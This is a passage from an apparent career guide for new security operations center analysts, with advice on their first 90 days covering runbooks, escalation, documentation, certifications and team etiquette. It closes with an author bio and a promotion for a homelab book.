Get a document — Notion, OneNote, a plain text file, whatever you'll actually use — and start writing down how to handle every alert type you encounter. In your own words. Not copy-pasted from the playbook. Your version, with the steps you actually take, the queries you actually run, and the gotchas you actually hit.

By end of month one, this should cover at least the five most common alert types your SOC handles.

Shadow a Tier 2

Ask your lead if you can sit with a Tier 2 analyst for one escalated investigation. Watch how they think, not just what they click.

Pay attention to: - How they decide what to look at first - How they pivot between data sources - When they decide something is worth escalating further vs. closing - How they document their findings

One hour of watching a senior analyst work teaches you more than a week of training videos.

Start Tracking Your Own Metrics

Nobody may ask you to do this. Do it anyway.

- How many alerts do you handle per shift?
- What's your false positive rate?
- What's your average time-to-triage?
- Which alert types slow you down the most?

These numbers are for you. They show you where you're improving and where you're stuck. They also become ammunition for your first performance review.

Month 2: Start Adding Value

You've survived the learning curve. You know the tools, the workflow, and the team. Now it's time to start making the SOC better because you're in it.

Propose a Tuning Recommendation

Every SOC has at least one alert rule that fires constantly and is always a false positive. You've been closing these tickets for a month. You know which one it is.

Write up a short recommendation: what the rule is, why it's noisy, what the false positive pattern looks like, and what you'd change. Bring it to your lead. Even if they don't implement it, you've demonstrated that you think beyond the queue.

Volunteer for One Project

Find something outside your core alert-triage duties and raise your hand:

- A playbook that needs updating
- A documentation gap that confused you when you were new
- A detection rule that could catch something you've been seeing
- A process improvement that would save the team time

Pick one. Do it well. Ship it.

Build Relationships Beyond Your Tier

The SOC does not operate in isolation. Start learning who the other teams are and what they do:

- **Incident Response:** What does their process look like? When do they take over from the SOC?
- **Security Engineering:** Who builds and maintains the detection rules? How do you submit a request?
- **Threat Intelligence:** What feeds do they monitor? How do they push context to the SOC?

You don't need to become best friends. You need to know names, faces, and what to ask them when the time comes.

Check Your Runbook

Your personal runbook should be 10+ pages by now. If it's not, you're not writing things down. Go back and fill in the gaps while the knowledge is still fresh.

Month 3: Show Your Trajectory

By now you should be able to triage 80% of Tier 1 alerts without help. You should have a rhythm. You should feel like you belong — because you do.

This month is about demonstrating that you're not just doing the job. You're growing into the next one.

Have the Career Conversation

Schedule a 1:1 with your manager. Come prepared with one question: **"What would I need to demonstrate to be ready for Tier 2?"**

Listen carefully to the answer. It will tell you exactly what to focus on for the next 6-12 months. Write it down. Build a plan.

Propose Something

Based on three months of pattern recognition, you've seen things. Propose one of:

- A new detection rule for something you've noticed the SIEM doesn't catch
- A playbook improvement that would reduce triage time for a common alert
- A process change that would improve shift handoffs

The proposal doesn't need to be perfect. It needs to show that you're paying attention and thinking about the bigger picture.

Start Your Next Certification

You're past the survival phase. It's time to invest in the next level. Pick a certification that aligns with your team's focus and your career direction:

- **CySA+** if you don't have it yet — the most SOC-relevant certification
- **GCIH** if you're aiming for incident response
- **Splunk Core Certified User** if your SOC runs Splunk
- **SC-200** if your SOC runs Microsoft Sentinel and Defender

Tell your manager. Many SOCs have certification budgets that go unused because nobody asks.

The Unwritten Rules Nobody Tells You

These are the things you learn the hard way — or you learn them here.

Always document. Every ticket, every escalation, every handoff. "I handled it" is not documentation. Your future self, your teammates on the next shift, and the incident responder who picks up your escalation at 3 AM all need to know what you found, what you did, and what's left.

Never close a ticket without explaining why. "False positive" with no context helps nobody. "False positive: user triggered EDR alert by running authorized Nessus scan per change ticket #1234" — that's useful. It saves the next analyst from investigating the same thing tomorrow.

Escalate early, not late. Nobody gets fired for escalating too soon. People get fired for sitting on a real incident because they were afraid to look dumb. If you're unsure, escalate. A senior analyst would rather spend 30 seconds confirming a false positive than find out you sat on a true positive for two hours.

Don't argue with senior analysts in Slack. If you see something handled differently than the playbook says, don't call it out publicly. Ask privately: "Hey, I noticed you handled X differently than the playbook describes — can you help me understand why?" That question opens a conversation. A public correction starts a conflict.

There's also a good chance the senior analyst has a reason. Playbooks are starting points, not scripture. The analyst who's been doing this for five years knows edge cases the playbook doesn't cover.

The SOC is a team, not a competition. Help the person next to you. Share what you learn. Teach the analyst who started a week after you. The analysts who get promoted are not the ones who hoard knowledge — they're the ones who make everyone around them better.

Your lead notices who helps others without being asked. That matters more than your ticket count.

The interview got you through the door. The first 90 days determine whether you stay. Treat every shift like you're building your reputation — because you are.

Previous: Chapter 8 — Answers That Sound Right But Are Wrong

About the Author

Steven J. Vik is a cybersecurity engineer who has spent years in the trenches — triaging alerts, hunting threats, and building the monitoring systems that catch them.

He holds a B.S. in Cybersecurity and Information Assurance from Western Governors University and has worked across security operations, systems administration, and infrastructure automation. He runs a production-grade homelab with real monitoring, real alerting, and real incident response — the kind of environment that makes interviewers sit up and pay attention.

Steve wrote this guide because he's been on both sides of the SOC interview table. He knows which questions trip people up, which answers sound good but aren't, and what actually separates the candidates who get offers from the ones who don't. Every scenario, every flashcard, and every framework in this kit comes from real experience — not a textbook.

When he's not writing detection rules or reviewing SIEM queries, he runs a long-running D&D campaign and tinkers with self-hosted AI inference on his homelab.

You can find more of his work at **SJVIK Labs**.

If this guide helped you land the job, I'd love to hear about it. Drop a review on the product page — it's the best feedback an author can get.

Also from SJVIK Labs

Proxmox Homelab: Zero to Production

Build a production-grade homelab that runs like real infrastructure

Go from bare metal to a fully monitored, automated Proxmox cluster
with LXC containers, Grafana alerting, automated backups,
Traefik reverse proxy, and security hardening.

The homelab that makes interviewers ask questions —
and gives you real answers to back it up.

Available now on Gumroad

gumroad.com/sjviklabs